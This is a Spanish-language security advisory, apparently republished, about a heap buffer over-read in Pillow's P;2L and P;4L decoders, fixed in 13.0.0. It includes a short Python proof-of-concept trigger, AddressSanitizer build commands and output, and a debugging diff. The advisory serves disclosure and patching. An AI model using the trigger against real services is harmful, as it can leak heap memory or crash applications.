Pillow: Los decodificadores P;2L y P;4L pueden leer de 1 a 3 bytes más allá del tamaño del búfer
Resumen
En main, incluso con la protección implementada en #9725, es posible que estos decodificadores lean de 1 a 3 bytes más allá del final del búfer suministrado con un ancho/alto adecuado.
Detalles
ImagingRawDecode y los desempaquetadores P;2L / P;4L difieren sobre cuántos bytes ocupa una línea de datos.
El decodificador raw calcula el tamaño de línea a partir de los bits por píxel:
state->bytes = (state->xsize * state->bits + 7) / 8;
y lo utiliza tanto para la comprobación de límites como para avanzar a la línea siguiente. Para P;2L y P;4L, bits es 2 y 4 respectivamente.
Sin embargo, estos dos modos raw no son píxeles empaquetados, sino 2 o 4 planos de bits, cada uno con relleno para completar un número entero de bytes. unpackP2L calcula s = (pixels + 7) / 8 y lee el plano k en el desplazamiento k * s, y unpackP4L hace lo mismo a lo largo de cuatro planos. Su huella real es, por lo tanto, planes * ((xsize + 7) / 8).
Para ciertos anchos, rellenar cada plano por separado hace que esta huella sea mayor que state->bytes. Por ejemplo, con un ancho de 1, el decodificador contempla un byte, mientras que los desempaquetadores leen dos o cuatro bytes. El decodificador acepta datos que son demasiado cortos para la última línea y, por otro lado, avanza hacia las siguientes líneas en una cantidad menor que una línea, por lo que cada línea posterior a la primera también se lee desde un desplazamiento erróneo.
La comprobación de #9725 es inadecuada para esto:
- Puede rechazar datos con la longitud correcta: una imagen 8x1
P;2Ltiene 2 bytes, pero no es aceptada. - Continúa aceptando búferes más cortos de lo que los desempaquetadores requieren para una geometría de imagen dada.
- Mide la longitud con
len(data), que es un recuento de elementos en lugar de un recuento de bytes; por ejemplo,memoryview(array("I", [0,0,0,0,0]))(20 bytes) se rechaza mientras quemv.tobytes()se acepta.
PoC ( ghsa_p2l_p4l.py)
from array import array
from PIL import Image
# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")
# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")
es la reproducción casi más simple.
(array es necesario para que ASan alerte de forma fiable, pero la sobrelectura es observable con literales de bytes, por ejemplo. Por defecto, Python asigna objetos bytes con un byte nulo adicional al final desde un arena, por lo que ASan no detecta la sobrelectura).
En mi Mac, puedo hacer que ASan alerte sobre esto con:
export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py
de la siguiente manera:
python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
#0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
#1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
#2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
#3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
#4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
#5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
#6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
#7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
#8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
#9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
#10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
#11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
#12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
#13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
#15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
#16 0x000194c86b94 (<unknown module>)
0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
#0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
#1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
#2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
#3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
#4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
#5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
#6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
#7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
#8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
#9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
#10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
#11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
#12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
#13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
#15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
#16 0x000194c86b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c
Shadow bytes around the buggy address:
0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa
0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd
0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
(Para observar una alerta distinta sobre unpackP4L, comente el caso P;2L).
La salida anterior se obtiene con unpackP2L y unpackP4L sobre 5eee92031a1986dfdaac7c78cdf0b764c0697118 instrumentados de forma básica para imprimir lo que se está leyendo:
diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c
index a51568209..4f867737a 100644
--- a/src/libImaging/Unpack.c
+++ b/src/libImaging/Unpack.c
@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {
}
}
+#include <stdio.h>
+
static void
unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
int i, j, m, s;
@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
m = 128;
s = (pixels + 7) / 8;
for (i = j = 0; i < pixels; i++) {
+ fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n",
+ in, i, j, pixels, in + j, in + j + s);
out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);
if ((m >>= 1) == 0) {
m = 128;
@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {
m = 128;
s = (pixels + 7) / 8;
for (i = j = 0; i < pixels; i++) {
+ fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n",
+ in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);
out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +
((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);
if ((m >>= 1) == 0) {
Impacto
Solo se ve afectado un caso de uso muy específico: llamadas a Image.frombytes() o Image.frombuffer() con el formato descrito.
El decodificador PCX, que es el único usuario interno en Pillow de los desempaquetadores P;2L y P;4L, ya reempaqueta las filas PCX en un formato en el que las sobrelecturas no suponen un problema.
El impacto es que se leen hasta 1 byte (P;2L) o 3 bytes (P;4L) de memoria del montículo posterior al búfer del llamador y se mezclan en los valores de píxel de la(s) última(s) fila(s) decodificada(s), a razón de un bit por plano afectado por píxel. También es posible un bloqueo si la lectura accede a memoria no asignada.
Hasta donde se puede determinar, todas las versiones publicadas de Pillow están afectadas.
Notas
Estos hallazgos fueron brevemente públicos (aunque sin detalles) en https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996;. Andrew solicitó retirar el comentario y publicar este informe en su lugar.
Qué hacer
Actualice Pillow a la versión 13.0.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Referencias
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp
- https://nvd.nist.gov/vuln/detail/CVE-2026-112394
- https://github.com/python-pillow/Pillow/pull/9723
- https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-126- Plataforma
- Python (PyPI)
- Paquete
pillow- Publicada
- 21.10.2026
- Actualizado
- 22.10.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-4558-3h8r-v8xp - CC BY 4.0
Historial de vulnerabilidades: pillow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 89
- Primera → última
- 04.2014 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 1
Distribución por gravedad
- Crítica 12
- Alta 57
- Media 18
- Baja 1
- Sin evaluar 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
antes: 12
-
Pillow: Los decodificadores P;2L y P;4L pueden leer de 1 a 3 bytes más allá del tamaño del búfer esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.